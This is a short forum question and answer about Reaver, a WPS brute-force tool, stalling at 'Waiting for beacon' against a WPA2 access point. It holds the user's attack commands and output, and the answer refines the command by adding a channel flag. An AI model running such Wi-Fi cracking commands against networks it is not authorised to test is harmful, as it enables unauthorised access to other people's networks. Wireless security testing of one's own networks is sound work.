These are the commands I put into the terminal on my laptop.
root@ubuntu:~# reaver -i mon0 -b F8:7B:7A:69:9F
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Waiting for beacon from F8:7B:7A:69:9F:0F
root@ubuntu:~#
This is what it says after brute forcing it
F8:7B:7A:69:9F:0F -43 7 0 0 6 54 WPA2 CCMP PSK p
Edit: It's been almost 5 years since this question was asked.
What causes Reaver to be hanged up on beacon? Could it be a software problem with Linux itself? Can it be the security used in the network? What is it?
This is how you could set the channel reaver -i mon0 -b F8:7B:7A:69:9F:0F -c <channel> -vv
might work a little better at least it will be more targeted.